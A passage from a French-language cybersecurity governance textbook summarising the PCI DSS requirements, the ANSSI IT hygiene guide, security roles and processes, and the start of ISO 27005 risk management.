			- Autoriser seulement les flux strictement nécessaires (principe de « deny all » [« refuser tout »] par défaut).

			- Maintenir à jour un diagramme du réseau.

			- Mettre en place des DMZ pour les flux entre Internet et les réseaux internes.

			- Activer les pare-feux sur les appareils informatiques portables des employés.

			Condition 2 - Ne pas utiliser les mots de passe système et autres paramètres de sécurité par défaut définis par le fournisseur :

			

			- Changer systématiquement les paramètres par défaut définis par le fournisseur ou désactiver les comptes par défaut inutiles avant d’installer un système sur le réseau.

			- Élaborer des normes de configuration pour tous les composants de système, en appliquant des règles de durcissement.

			- Activer uniquement les services et protocoles nécessaires pour le fonctionnement du système.

			- Chiffrer tous les accès administratifs via le réseau.

			- Maintenir un inventaire des composants de système.

			- Introduire des outils automatisés pour vérifier que les paramètres de configuration respectent les standards de durcissement.

			Condition 3 - Protéger les données de titulaires de carte stockées :

			- Limiter la quantité de données stockées et les délais de conservation.

			- Ne stocker aucune donnée d’identification sensible.

			- Masquer le PAN lorsqu’il s’affiche.

			- Documenter et mettre en œuvre des procédures pour protéger les clés cryptographiques utilisées pour sécuriser les données de titulaires de carte.

			- Mettre en œuvre de mécanismes d’effacement sécurisé pour garantir que les données supprimées ne sont pas récupérables.

			- Réévaluer annuellement les délais de conservation et la nécessité de stocker les données.

			Condition 4 - Chiffrer la transmission des données de titulaires de carte sur les réseaux publics ouverts :

			- Utiliser une cryptographie robuste et des protocoles de sécurité afin de protéger les données de titulaires de carte sensibles lors de leur transmission sur des réseaux publics.

			- Ne jamais envoyer de PAN en clair à travers la messagerie.

			Condition 5 - Protéger tous les systèmes contre les logiciels malveillants et mettre à jour régulièrement les logiciels antivirus ou programmes :

			- Déployer des outils de détection avancés (par exemple des EDR) sur tous les systèmes (PC et serveurs).

			- Maintenir les outils de détection à jour.

			

			- Effectuer régulièrement des scans et conserver les journaux d’audit.

			Condition 6 - Développer et maintenir des systèmes et des applications sécurisés :

			- Établir un processus pour identifier les vulnérabilités et affecter un classement du risque.

			- Installer les correctifs de sécurité stratégiques dans le mois qui suit leur commercialisation.

			- Prendre en compte la sécurité des informations dès la phase de conception d’un logiciel.

			- Introduire des tests de sécurité automatisés dans le cycle de vie du développement logiciel.

			- Former les développeurs au codage sécurisé.

			- Séparer les environnements de test/développement des environnements de production.

			Condition 7 - Restreindre l’accès aux données de titulaires de carte aux seuls individus qui doivent les connaître :

			- Définir les besoins d’accès pour chaque rôle.

			- Affecter l’accès basé sur la classification et la fonction professionnelle de chaque employé.

			- Établir des systèmes de contrôle d’accès de façon à refuser tous les accès à moins qu’ils ne soient explicitement autorisés.

			- Utiliser des outils automatisés pour suivre les modifications dans les autorisations.

			Condition 8 - Identifier et authentifier l’accès aux composants de système :

			- Affecter à tous les utilisateurs un ID unique.

			- Ne pas utiliser de méthode d’authentification par groupe, partagée ou de mots de passe d’ID génériques.

			- Révoquer immédiatement l’accès de tout utilisateur qui ne travaille plus pour la société.

			- Activer uniquement pendant la période de temps nécessaire les ID utilisés par des parties tierces.

			- Configurer le verrouillage et la désactivation des comptes en cas d’inactivité ou d’absence prolongée.

			

			- Utiliser une cryptographie robuste pour stocker tous les justificatifs d’authentification (tels que les mots ou phrases de passe).

			- Définir une politique afin que les mots de passe soient robustes.

			- Incorporer l’authentification à plusieurs facteurs pour tous les accès réseau administratifs à l’environnement des données de titulaires de carte.

			- Imposer l’authentification multifactorielle (MFA) pour sécuriser l’accès aux environnements contenant des données de titulaires de carte.

			Condition 9 - Restreindre l’accès physique aux données de titulaires de carte :

			- Implémenter des contrôles de sécurité physiques pour les centres de données et autres zones physiques qui abritent des systèmes appartenant à l’environnement des données de titulaires de carte.

			- Développer des procédures pour distinguer facilement le personnel du site des visiteurs.

			- Mettre en œuvre des procédures pour identifier et autoriser les visiteurs.

			- Assurer la sécurité physique de tous les supports (entre autres, ordinateurs, supports électroniques amovibles, réseaux, reçus et rapports sur papier).

			- Classer les supports afin de déterminer la sensibilité des données qu’ils contiennent.

			- Détruire les supports lorsqu’ils ne sont plus nécessaires.

			- Intégrer des dispositifs IoT de sécurité physique pour surveiller les accès.

			Condition 10 - Effectuer le suivi et surveiller tous les accès aux ressources réseau et aux données de titulaires de carte :

			- Configurer les logs pour relier tous les accès aux composants de système à chaque utilisateur individuel.

			- Synchroniser tous les systèmes d’horloge.

			- Protéger l’intégrité des logs.

			- Examiner régulièrement les logs des composants système.

			- Conserver l’historique des logs pendant une année au moins, en gardant immédiatement à disposition les logs des trois derniers mois au moins.

			

			Notons que ces exigences suggèrent fortement de déployer un SIEM.

			Condition 11 - Tester régulièrement les processus et les systèmes de sécurité :

			- Détecter et identifier tous les points d’accès sans fil autorisés et non autorisés.

			- Analyser les vulnérabilités potentielles des réseaux internes et externes au moins une fois par trimestre et après tout changement significatif des réseaux.

			- Effectuer des tests de pénétration au moins une fois par an et après tout changement ou mise à niveau significatifs.

			- Déployer des techniques d’intrusion-détection et/ou d’intrusion-prévention (IDS et IPS).

			- Déployer des mécanismes de détection des modifications (HIDS/FIM).

			Condition 12 - Maintenir une politique qui adresse les informations de sécurité pour l’ensemble du personnel :

			- Établir, publier, maintenir et diffuser une politique de sécurité.

			- Mettre en œuvre un processus d’évaluation des risques.

			- S’assurer que la politique et les procédures de sécurité définissent clairement les responsabilités de tout le personnel en matière de sécurité.

			- Mettre en œuvre un programme formel de sensibilisation à la sécurité.

			- Effectuer une sélection préalable à l’embauche du personnel pour minimiser les risques d’attaques par des sources internes.

			- Maintenir et mettre en œuvre des politiques et des procédures de gestion des prestataires de services.

			- Mettre en œuvre un plan de réponse aux incidents.

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							

							- La conformité à la norme PCI DSS offre moins de marge de manœuvre que celle à l’ISO 27001, dans la mesure où, pour PCI DSS, il n’est pas acceptable d’avoir des mesures de sécurité implémentées partiellement ou seulement planifiées pour implémentation future.

							- Dans PCI DSS, tout tourne autour de la protection des numéros de carte (PAN) : il faut se forcer de les stocker seulement quand c’est vraiment nécessaire, et recourir quand on peut à de la tokenisation14.

						
					

				
			

			Guide d’hygiène informatique de l’ANSSI

			Afin d’aider les entités publiques et privées à atteindre un niveau de sécurité minimal sur l’ensemble de leur système d’information, l’ANSSI a publié un guide de bonnes pratiques qui liste les mesures élémentaires incontournables.

			Trente-neuf mesures de base, regroupées sous le terme d’« hygiène informatique », sont regroupées en neuf chapitres.

			Chapitre 1 - Sensibiliser et former

			Exigences :

			- Former les équipes opérationnelles à la sécurité des systèmes d’information.

			

			- Sensibiliser les utilisateurs aux bonnes pratiques élémentaires de sécurité informatique.

			- Maîtriser les risques de l’infogérance.

			Commentaire : dans l’imaginaire collectif, les incidents de sécurité sont souvent associés au proverbial hacker en sweat à capuche qui s’introduit dans les systèmes informatiques de ses victimes. Même si cela arrive, la plupart des incidents viennent en réalité de l’intérieur : administrateurs système et réseau qui commentent des erreurs par incompétence ou qui abusent de leurs privilèges de façon malveillante, collaborateurs qui tombent victimes d’hameçonnage (phishing) ou d’ingénierie sociale (social engineering), nouveaux arrivants qui violent les règles de sécurité par méconnaissance, etc. La sensibilisation est un outil incontournable pour limiter la menace interne.

			Le raisonnement peut être étendu au cas d’infogérance, où l’entreprise fait appel à un prestataire pour la gestion de son SI : dans ce cas, il est très important de s’assurer du niveau de maturité en sécurité du sous-traitant, et de bien formaliser les exigences de sécurité au niveau contractuel.

			Chapitre 2 - Connaître le système d’information

			Exigences :

			- Identifier les informations et serveurs les plus sensibles et maintenir un schéma du réseau.

			- Disposer d’un inventaire exhaustif des comptes privilégiés et le maintenir à jour.

			- Organiser les procédures d’arrivée, de départ et de changement de fonction des utilisateurs.

			- Autoriser la connexion au réseau de l’entité aux seuls équipements maîtrisés.

			Commentaire : sans connaître son SI, comment peut-on le protéger ? Le guide recommande d’inventorier ses actifs et de les sécuriser en fonction de leur criticité : c’est une règle de pur bon sens. Les comptes à privilèges méritent une attention particulière, car s’ils tombent dans de mauvaises mains, les conséquences peuvent être catastrophiques ; ces comptes sont une cible de choix des attaquants. 

			

			Pensons aussi au cas du départ d’un collaborateur aigri ou en litige, qui pourrait profiter d’une désactivation retardée de ses comptes pour maintenir un accès au SI et se livrer dans le pire des cas à des actions de sabotage. La dernière mesure du chapitre recommande de filtrer les accès Wi-Fi et, idéalement, filaires ; en effet, un attaquant pourrait profiter d’un défaut d’authentification réseau pour y introduire des équipements hostiles.

			Chapitre 3 - Authentifier et contrôler les accès 

			Exigences :

			- Identifier nommément chaque personne accédant au système et distinguer les rôles utilisateur/administrateur.

			- Attribuer les bons droits sur les ressources sensibles du système d’information.

			- Définir et vérifier des règles de choix et de dimensionnement des mots de passe.

			- Protéger les mots de passe stockés sur les systèmes.

			- Changer les éléments d’authentification par défaut sur les équipements et services.

			- Privilégier lorsque c’est possible une authentification forte.

			Commentaire : l’utilisation de comptes génériques (admin, user…) doit être limitée autant que possible, car ces comptes ne permettent pas une vraie traçabilité, contrairement aux comptes nominatifs, à moins de mettre en place des mesures complémentaires. L’authentification doit se faire idéalement en utilisant deux facteurs ou plus (MFA), au moins pour les ressources les plus sensibles et pour les accès à distance, notamment à travers un VPN ou des interfaces web exposées sur Internet. En dépit des progrès technologiques sur l’authentification, l’utilisation des mots de passe a encore de beaux jours devant elle, il est donc crucial de définir des règles de complexité et de ne jamais les stocker ou les transmettre en clair. Une erreur de débutant malheureusement fréquente est de mettre en production des équipements (en général réseau) sans modifier les informations d’authentification par défaut (admin/admin, admin/password, etc.) ; cela revient à ouvrir grand la porte aux pirates et virus.

			

			Chapitre 4 - Sécuriser les postes 

			Exigences :

			- Mettre en place un niveau de sécurité minimal sur l’ensemble du parc informatique (postes de travail, serveurs, terminaux mobiles, imprimantes, photocopieuses, etc.).

			- Se protéger des menaces relatives à l’utilisation de supports amovibles.

			- Déployer et gérer des outils de lutte contre les logiciels malveillants.

			- Utiliser un outil de gestion centralisée afin d’homogénéiser les politiques de sécurité.

			- Activer et configurer le pare-feu local des postes de travail.

			- Chiffrer les données sensibles transmises via Internet.

			- Implémenter une procédure de mise au rebut, pouvant aller jusqu’à la destruction sécurisée des supports de stockage en fin de vie (pour éviter que la confidentialité des données soit compromise lors d’un éventuel recyclage).

			Commentaire : les maîtres mots dans la sécurisation des postes de travail sont l’homogénéisation et l’automatisation. Plus un parc est hétérogène, plus il est compliqué à maîtriser et plus fortes sont les chances d’introduction de vulnérabilités : logiciels installés « sauvagement » (Shadow IT), absence d’antivirus, défaut de mise à jour, navigateurs web mal configurés, etc. Sans recourir à l’automatisation, il est pratiquement impossible de parvenir à l’harmonisation ; les solutions de Mobile Device Management (MDM), initialement conçues pour sécuriser des terminaux mobiles, permettent désormais de gérer les postes de travail. Les supports amovibles comme les clés USB sont souvent utilisés comme vecteurs d’attaque, il faut essayer de se prémunir de cela en limitant voire en interdisant leur utilisation, ou au moins en désactivant l’exécution automatique au branchement.

			Les outils traditionnels de sécurisation des postes (antivirus, antimalwares et antispywares) sont en train d’être remplacés par des outils d’une nouvelle génération, nommés EDR (Endpoint Detection and Response), qui intègrent des techniques d’analyse comportementale basées sur l’intelligence artificielle. Ces outils sont souvent commercialisés en mode SaaS et sont par conséquent moins contraignants en termes de gestion, notamment au niveau de la mise à jour des moteurs antiviraux et des bases de signatures, qui sont assurés « as a service » par l’éditeur.

			

			Il est pertinent de rédiger des guides de durcissement pour chaque famille d’équipements ; les principes de durcissement sont examinés dans le module sur la sécurité des systèmes et des réseaux.

			Chapitre 5 - Sécuriser le réseau 

			Exigences :

			- Segmenter le réseau et mettre en place un cloisonnement entre les zones.

			- S’assurer de la sécurité des réseaux d’accès Wi-Fi et de la séparation des usages.

			- Utiliser des protocoles réseau sécurisés dès qu’ils existent.

			- Mettre en place une passerelle d’accès sécurisé à Internet.

			- Cloisonner les services visibles depuis Internet du reste du système d’information.

			- Protéger sa messagerie professionnelle.

			- Sécuriser les interconnexions réseau dédiées avec les partenaires.

			- Contrôler et protéger l’accès aux salles serveurs et aux locaux techniques.

			Commentaire : il est important, dès la conception de l’architecture réseau, de prévoir une segmentation en zones composées de systèmes ayant des besoins de sécurité homogènes, ainsi qu’un filtrage des flux interzones à travers un pare-feu. Encore une fois, l’ouverture des flux doit être réalisée « au compte-gouttes », en autorisant seulement ce qui est strictement nécessaire, dans le but de limiter la propagation de virus et les déplacements illicites à l’intérieur du réseau (mouvements latéraux). Les flux de communication avec Internet doivent être sécurisés dans les deux sens : en sortie à travers l’utilisation de serveurs proxy, en entrée à travers la mise en place de « zones démilitarisées » (DMZ) pour l’hébergement des serveurs exposés. 

			En effet, si un attaquant réussit à compromettre un serveur exposé sur Internet, le placement de ce serveur en DMZ complique le rebond de l’attaquant vers le réseau interne, car le pare-feu limite fortement les flux de la DMZ vers le réseau interne. Le guide mentionne aussi des mesures de base de sécurisation de la messagerie, aussi bien au niveau technique (antispam, antivirus, DKIM, DMARC, etc.) qu’au niveau administratif (interdire la redirection vers une adresse mail personnelle, chiffrer les informations sensibles, etc.).

			

			

			Chapitre 6 - Sécuriser l’administration 

			Exigences :

			- Interdire l’accès à Internet depuis les postes ou serveurs utilisés pour l’administration du système d’information.

			- Utiliser un réseau dédié et cloisonné pour l’administration du système d’information.

			- Limiter au strict besoin opérationnel les droits d’administration sur les postes de travail.

			Commentaire : si un poste d’administration est connecté à Internet et dispose d’outils bureautiques (messagerie, traitement de texte, tableur, etc.), il est très exposé aux attaques web et au phishing. Si un attaquant parvient à prendre le contrôle de ce poste en piégeant l’administrateur via Internet, la porte vers le réseau d’administration sera grande ouverte pour lui. Le déploiement de postes isolés d’Internet et dédiés à l’administration permet de limiter ce risque ; il faut néanmoins remarquer que cela peut s’avérer très contraignant pour les administrateurs, cette mesure demande donc un accompagnement afin de faire évoluer les habitudes.

			Chapitre 7 - Gérer le nomadisme 

			Exigences :

			- Prendre des mesures de sécurisation physique des terminaux nomades.

			- Chiffrer les données sensibles, en particulier sur le matériel potentiellement perdable.

			- Sécuriser la connexion réseau des postes utilisés en situation de nomadisme (VPN avec full-tunneling, MFA, filtrage strict des flux).

			- Adopter des politiques de sécurité dédiées aux terminaux mobiles.

			Commentaire : la principale vulnérabilité des terminaux mobiles (smartphones, laptops, tablettes) réside dans leur portabilité, qui les rend exposés à la perte et au vol. Le chiffrement des données stockées sur ces équipements vise à interdire une atteinte à la confidentialité. Autre considération : le mélange pro-perso est préjudiciable pour la sécurité, notamment car le perso, n’étant pas sous le contrôle de l’entreprise, peut menacer le pro. Il faut donc éviter qu’un même terminal soit ouvert aux deux usages ; la pratique du BYOD (curieusement appelée AVEC en français) est problématique à cet égard.

			

			Chapitre 8 - Maintenir le système d’information à jour 

			Exigences :

			- Définir une politique de mise à jour des composants du système d’information.

			- Anticiper la fin de la maintenance des logiciels et systèmes et limiter les adhérences logicielles.

			Commentaire : le défaut de mise à jour est à l’origine de la plupart des vulnérabilités, les autres étant principalement liées à de mauvaises configurations. Si une organisation ne se dote pas d’un processus solide de patch management, elle se retrouvera fatalement avec des trous de sécurité béants dans son SI. Le cas le plus grave est l’utilisation de systèmes ou logiciels qui ne sont plus supportés : les vulnérabilités ne sont alors pas corrigées par l’éditeur. Le guide conseille de limiter les adhérences, car elles peuvent compliquer la mise à jour (ex. : utilisation d’une application métier qui tourne exclusivement sur une version d’OS obsolète).

			Chapitre 9 - Superviser, auditer, réagir 

			Exigences :

			- Activer et configurer les journaux des composants les plus importants.

			- Définir et appliquer une politique de sauvegarde des composants critiques.

			- Désigner un référent en sécurité des systèmes d’information et le faire connaître auprès du personnel.

			- Définir une procédure de gestion des incidents de sécurité.

			Commentaire : ce dernier chapitre souligne l’importance d’une bonne gestion des logs : activation systématique avec le bon niveau de verbosité, centralisation, protection en intégrité et analyse régulière. Notons que les outils de gestion de l’information et des événements de sécurité (SIEM) sont très précieux, car ils permettent de corréler « intelligemment » les logs de sources différentes, afin de déceler les activités anormales ; ils sont généralement opérés par des Security Operations Center (SOC). Pour ce qui concerne la gestion des incidents de sécurité, citons l’adage selon lequel « on pose les tuiles quand il fait beau » : il est naturellement préférable d’anticiper au maximum plutôt que d’improviser en pleine crise. Souscrire à un service de Computer Security Incident Response Team (CSIRT) et à une assurance cyber sont des mesures à prendre en considération.

			
				
					
				
				
					
							
							
								
									

									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- Le guide d’hygiène constitue un excellent point de départ pour toute organisation qui s’initie à la cybersécurité. Sa gratuité est un avantage indéniable ; on peut cependant regretter que l’ANSSI n’ait pas prévu un mécanisme de qualification pour labelliser les entreprises conformes.

							- Le nom du guide peut laisser supposer qu’il est très simple d’implémenter ses recommandations (ça relève de l’hygiène, donc très basique) ; en réalité, la conformisation au guide d’hygiène demande de gros efforts et peut prendre plusieurs mois voire années, en fonction du point de départ.
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			Chapitre 3

			Gouvernance, gestion des risques et conformité

			Rôles et responsabilités

			Rôles et responsabilités autour de la sécurité

			

			On serait tenté de penser que la sécurité des données d’une entreprise repose exclusivement sur son responsable de la sécurité des systèmes d’information (RSSI) ; cependant, cette idée est fausse, pour plusieurs raisons.

			Premièrement, toutes les entreprises ne peuvent pas s’offrir le luxe d’avoir un RSSI, ceci étant de plus en plus vrai pour des PME et TPE.

			Deuxièmement, la sécurité dans une entreprise est l’affaire de tous : chaque employé, quel que soit son poste, a un rôle à jouer dans la protection de l’information.

			Sans viser l’exhaustivité, passons cette deuxième affirmation en revue pour plusieurs fonctions :

			RSSI : chef d’orchestre de la démarche sécurité. Son pouvoir peut varier sensiblement selon les contextes, notamment en fonction de son positionnement hiérarchique ; son influence sera évidemment plus forte en cas de rattachement direct à la direction générale. Parfois, le RSSI dispose d’une équipe sous sa responsabilité, mais ce n’est pas une généralité ; souvent, spécialement dans les plus petites entreprises, la fonction de RSSI est même adossée à un autre rôle. À certains égards, le travail du RSSI s’apparente à celui d’un chef de projet, dans la mesure où il doit fédérer et mobiliser autour d’un objectif commun des personnes qui ne lui sont pas rattachées hiérarchiquement. Pour cela, il doit avoir plusieurs cordes à son arc et savoir négocier, influencer, conseiller, expliquer… mais aussi imposer ses points de vue avec fermeté quand c’est nécessaire.

			Direction générale : sans un soutien fort du « senior management », l’action du RSSI est vouée à l’échec, car il sera condamné à prêcher dans le désert. La direction a la responsabilité principale d’allouer les moyens nécessaires à la démarche sécurité, notamment en validant les investissements nécessaires et en veillant à la formation et sensibilisation des employés. La direction générale a deux responsabilités très structurantes : décider du niveau de sécurité cible et du niveau de risque acceptable. De ces deux décisions découle l’effort de sécurisation, qui est naturellement lié au positionnement business de l’entreprise.

			Directeur des systèmes d’information : l’interaction entre DSI et RSSI dépend de leur positionnement hiérarchique respectif. Parfois le RSSI dépend du DSI, d’autres fois il est situé au même niveau et cela change complètement la donne. Dans certains cas, les intérêts de ces deux fonctions divergent, et la recherche d’un compromis est nécessaire.

			

			Administrateurs techniques : les administrateurs système et réseau ont un niveau de droits très élevé sur les infrastructures, il est donc important qu’ils comprennent bien les politiques de sécurité et soient dûment formés et sensibilisés. Une bonne pratique pour encadrer leur pouvoir est de prévoir des chartes d’administration détaillant leurs responsabilités en termes de sécurité. Notons que la compromission du compte d’un administrateur fait partie des premières étapes d’une attaque informatique, il est donc important de bien protéger les informations d’authentification des équipes techniques.

			Développeurs : les équipes de développement sont naturellement tiraillées entre l’exigence de rapidité dans la production du code applicatif et la nécessité que ce code soit dépourvu de failles de sécurité. Comment concilier les deux ? Plusieurs pratiques peuvent contribuer à cela, comme la formation au développement sécurisé, la collaboration avec les experts sécurité et l’automatisation des tests de sécurité. La culture DevSecOps est une excellente référence.

			Ressources humaines : les équipes RH jouent un rôle important dans la démarche sécurité, notamment par ces actions :

			- Participer aux processus de provisionnement et surtout déprovisionnement des comptes utilisateurs (un retard de provisionnement est moins grave qu’un oubli dans la désactivation d’un compte à la suite d’un départ).

			- S’assurer que tout salarié dispose d’une fiche de poste détaillant ses responsabilités en termes de sécurité.

			- Veiller à ce que tout salarié signe les chartes qui s’appliquent à son activité.

			Utilisateurs : ils sont souvent ciblés par des mails de phishing, spécialement ou pas ; il est donc important qu’ils développent les bons réflexes de sécurité. Pour parvenir à cela, il est primordial que les utilisateurs soient sensibilisés. Idéalement, ils devraient être en mesure de reconnaître les situations anormales et potentiellement dangereuses, afin de les remonter aux personnes chargées de la sécurité.

			

			Ce qu’il faut retenir de cette revue est la nécessité que tout salarié soit conscient de ses responsabilités dans la sécurité de l’information. Au préalable, ces responsabilités doivent être soigneusement formalisées dans les contrats de travail, les fiches de poste et les chartes. Quand les responsabilités ne sont pas clairement définies, l’incident de sécurité n’est jamais très loin !

			
				
					
				
				
					
							
							
								
									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- Comme évoqué, la fonction de RSSI peut être portée par une personne qui a une autre fonction en parallèle (souvent DSI ou DPO) ; attention dans ce cas au risque de cumul de responsabilités et de conflit d’intérêts.

							- Plus le RSSI est proche de la direction générale, meilleure sera la sécurité de l’organisation.

							- Le RSSI et l’équipe sécurité ne devraient pas avoir un accès en écriture sur les systèmes de production, mais seulement un accès en lecture pour les revues et les audits.

							- Il est fréquent qu’il y ait des tensions entre le RSSI et le responsable des infrastructures informatiques, car le RSSI a tendance à vouloir imposer des contraintes de sécurité qui compliquent le travail des équipes d’administration au jour le jour. Il faut que le RSSI gère ces situations avec calme et tact, qu’il ne rompe jamais la communication, et qu’il mette en avant l’intérêt supérieur de l’organisation (« tous dans le même bateau »).

							- De façon générale, toute mesure de sécurité introduit des contraintes pour travailler : il vaut mieux, pour le RSSI, convaincre et faire preuve de pédagogie plutôt que d’imposer avec une posture punitive, ce qui peut pousser les collaborateurs à contourner les mesures.

						
					

				
			

			

			Principaux processus de gestion de la sécurité

			La gestion de la sécurité au jour le jour passe par le déroulement d’un ensemble de processus de sécurité. Cette séquence en liste les plus importants.

			Gestion de la documentation

			La mise en place d’un système de management de la sécurité de l’information (SMSI) impose aux organisations de passer d’une culture basée sur une transmission orale des informations à une culture de la transmission par écrit. 

			Cela mène à la formalisation un corpus documentaire, qui inclut des documents à différents niveaux d’abstraction et d’exigence (on parle parfois de « pyramide documentaire ») :

			- Politiques : documents de haut niveau, validés par la direction générale, qui contiennent la stratégie de sécurité, déclinée en objectifs et exigences de sécurité, sans entrer dans les détails de l’implémentation.

			- Normes : référentiels applicables à l’organisation, qui doit s’y conformer (exigences légales et réglementaires, contrats, normes de sécurité).

			- Processus : documents qui décrivent, souvent à travers des diagrammes de flux, les activités liées à la sécurité.

			- Procédures : modes opératoires qui contiennent une description détaillée des étapes de réalisation d’une activité de sécurité, incluant par exemple les commandes à exécuter par les opérateurs ou des captures d’écran explicatives.

			- Recommandations (guidelines) : recueils de bonnes pratiques de sécurité, sans caractère contraignant.

			

			Gestion des mises à jour

			Appelé en anglais patch management, ce processus vise à maintenir à jour tous les éléments du parc informatique (serveurs, postes de travail, équipements réseau, applications, baies de stockage, etc.). Un défaut d’application des mises à jour conduit inévitablement à l’apparition de vulnérabilités ; un défaut de renouvellement du parc conduit à l’obsolescence (systèmes qui ne sont plus supportés par les éditeurs). On distingue les mises à jour majeures, qui portent souvent sur le premier élément du numéro de version (ex. : v2.6.4 vers v3.0.0), des mises à jour mineures (ex. : v2.6.4 vers 2.7.0 ou 2.6.5). Les mises à jour majeures demandent un travail de préparation plus important, avec des tests de non-régression plus poussés. Généralement, les mises à jour sont préalablement appliquées sur un environnement de test ou préproduction, et sont répercutées sur l’environnement de production après une période d’observation des éventuelles régressions (ex. : 2 semaines).

			La plupart des normes de sécurité considèrent qu’il est acceptable d’appliquer les mises à jour de façon mensuelle, mais demandent le déclenchement de mises à jour urgentes en cas de risque élevé (publication d’une faille sérieuse, divulgation d’un code d’exploitation, etc.).

			Gestion des vulnérabilités

			La gestion des vulnérabilités est très liée à la gestion des mises à jour, dans la mesure où la plupart des vulnérabilités sont liées à des défauts de mise à jour (les autres étant principalement associées à des mauvaises configurations, comme l’utilisation de protocoles non sécurisés).

			Une bonne pratique consiste dans l’exécution régulière (par exemple mensuelle) de scans de vulnérabilités, aussi bien sur le périmètre exposé sur Internet que sur le périmètre interne.

			La priorisation du traitement des vulnérabilités identifiées doit se baser sur leur score CVSS, qui varie de 0 à 10, 10 étant le niveau le plus critique.

			

			Les sondes donnent généralement la possibilité de réaliser des scans de vulnérabilité authentifiés, ce qui permet d’avoir une vision plus complète, au prix de l’introduction d’un risque de compromission des comptes privilégiés renseignés.

			Veille

			Les professionnels de sécurité doivent se tenir au courant de l’actualité, à plusieurs niveaux :

			- Veille de sécurité : surveiller les bulletins de sécurité des éditeurs, pour les produits utilisés (OS, middlewares, applications, etc.). Notons qu’il existe des agrégateurs de ce type d’informations, notamment le CERT-FR, qui publie tous les jours ses avis de sécurité15.

			- Veille sur les publications au sujet du panorama des menaces (activité des groupes cybercriminels, vulnérabilités les plus exploitées, techniques d’attaque, etc.).

			- Cyber Threat Intelligence : opérer du renseignement spécifique à son organisation (éventuelles informations d’identification échangées sur des forums, tentatives d’enregistrement de noms de domaines proches, atteintes à la réputation, etc.). Notons que cela fait partie de l’offre de services de certains prestataires de sécurité.

			- Veille technologique : se renseigner sur les nouveaux outils de sécurité, sur les nouvelles techniques d’attaque ou de défense, sur l’évolution des algorithmes cryptographiques, etc.

			- Veille réglementaire : surveiller l’évolution des référentiels applicables à l’organisation (lois, normes, etc.)

			Gestion des secrets

			Les secrets, au sens large, incluent :

			- Mots de passe.

			

			- Clés API.

			- Clés cryptographiques symétriques.

			- Clés cryptographiques asymétriques (clés privées).

			- Codes d’authentification.

			Ces informations sont généralement classées au plus haut niveau de confidentialité, et doivent être protégées avec soin.

			Parmi les principales mesures de sécurité appliquées à leur protection, citons :

			- Interdiction du stockage en clair, et donc stockage chiffré dans des outils de type vault (coffre) ou gestionnaire de mots de passe.

			- Application stricte du principe du moindre privilège pour le contrôle d’accès.

			- Pour les clés cryptographiques, application des principes du dual control (présence d’au moins deux personnes requise) et de la split knowledge (clés splittées en plusieurs composantes détenues par des groupes de personnes différents).

			- Hébergement sur des systèmes non connectés à Internet, et de préférence sur des systèmes placés dans les « profondeurs » du réseau interne.

			D’autres processus peuvent être cités :

			- Gestion des incidents et gestion des crises (traités dans le chapitre sur la sécurité défensive).

			- Gestion des configurations et des changements (pas spécifiques à la sécurité, mais importants pour conserver une bonne maîtrise du SI).

			- Processus RH (ex. : gestion des arrivées, des départs et des changements de poste).

			- Processus d’achat (importants pour sécuriser la sélection des fournisseurs).

			Le processus de gestion des risques liés à la sécurité de l’information mérite une section dédiée.

			

			Gestion des risques

			Tout le monde connaît l’adage selon lequel le risque zéro n’existe pas ; cela s’applique parfaitement à la cybersécurité. Cependant, même si l’objectif de supprimer tout risque est illusoire, l’entreprise doit être vigilante sur le niveau de risque auquel elle est exposée, et prendre des mesures pour le traiter et le ramener en dessous du seuil d’acceptabilité.

			Plusieurs méthodologies existent pour guider cet exercice : la méthodologie EBIOS Risk Manager de l’ANSSI, MEHARI, développé par le CLUSIF, le Risk Management Framework (RMF) du NIST, ainsi que la norme internationale ISO 27005, cadre de référence pour la gestion des risques en sécurité de l’information, sur laquelle se base cette section.

			Commençons par les définitions incontournables introduites par l’ISO 27005 :

			- Actif : tout ce qui a de la valeur pour l’entreprise. La norme fait la distinction entre actifs primordiaux (processus et activités métier, informations) et actifs de support (matériels, logiciels, personnel, sites, etc.). Le terme « bien » est parfois utilisé à la place d’« actif ».

			- Menace : cause potentielle d’un incident, qui peut nuire à un système ou à un organisme ; elle peut être délibérée (ex. : vol d’informations), accidentelle (ex. : dysfonctionnement d’un équipement) ou environnementale (ex. : phénomène climatique).

			- Vulnérabilité : faille dans un actif ou dans une mesure de sécurité qui peut être exploitée par une ou plusieurs menaces (ex. : paramétrage incorrect, défaut de mise à jour, etc.).

			- Attaque : action malveillante destinée à porter atteinte à la sécurité d’un actif. L’attaque représente la concrétisation d’une menace et nécessite l’exploitation d’une vulnérabilité.

			- Risque : effet de l’incertitude sur les objectifs, associé à la possibilité que des menaces exploitent les vulnérabilités d’un actif ou d’un groupe d’actifs informationnels et nuisent donc à un organisme. Un risque est souvent exprimé en termes de combinaison des conséquences d’un événement et de sa « vraisemblance » (possibilité que quelque chose se produise).

			

			L’ISO 27005 détaille les étapes suivantes pour le processus de gestion des risques : établissement du contexte, appréciation des risques (incluant les trois phases d’identification, analyse et évaluation), traitement des risques et acceptation des risques.

			1 - Établissement du contexte

			Cette phase inclut la définition des critères d’évaluation d’un risque (à travers une combinaison de sa vraisemblance et de ses conséquences), les critères d’acceptation (définition d’un seuil au-delà duquel un risque est considéré intolérable) et les échelles qui permettent d’évaluer les besoins en sécurité de chaque actif.

			2 - Identification des risques

			Elle inclut les étapes suivantes :

			- Identification des actifs : inventaire des actifs primordiaux et des actifs de support qui les soutiennent (ex. : processus de vente en ligne soutenu par les serveurs web, le réseau, le logiciel de prise de e-commerce, etc.). Les besoins en disponibilité, intégrité et confidentialité de chaque actif primordial sont calculés en fonction des échelles associées et en s’aidant du niveau de classification des informations associées (ex. : public, restreint, confidentiel, secret). Un croisement entre les actifs primordiaux et les actifs de support est effectué au sein d’une matrice. Chaque actif de support hérite du plus haut besoin en disponibilité, intégrité, confidentialité des actifs primordiaux qu’il soutient. Parmi les actifs de support les plus importants, on trouve les composants du système d’information, ou plutôt les familles de composants : serveurs, réseaux, applications, postes clients, etc. Le niveau de granularité dans l’inventaire peut varier en fonction du niveau de maturité et des ambitions en sécurité de l’organisation ; bien sûr, plus la granularité augmente, plus l’exercice est complexe et chronophage.

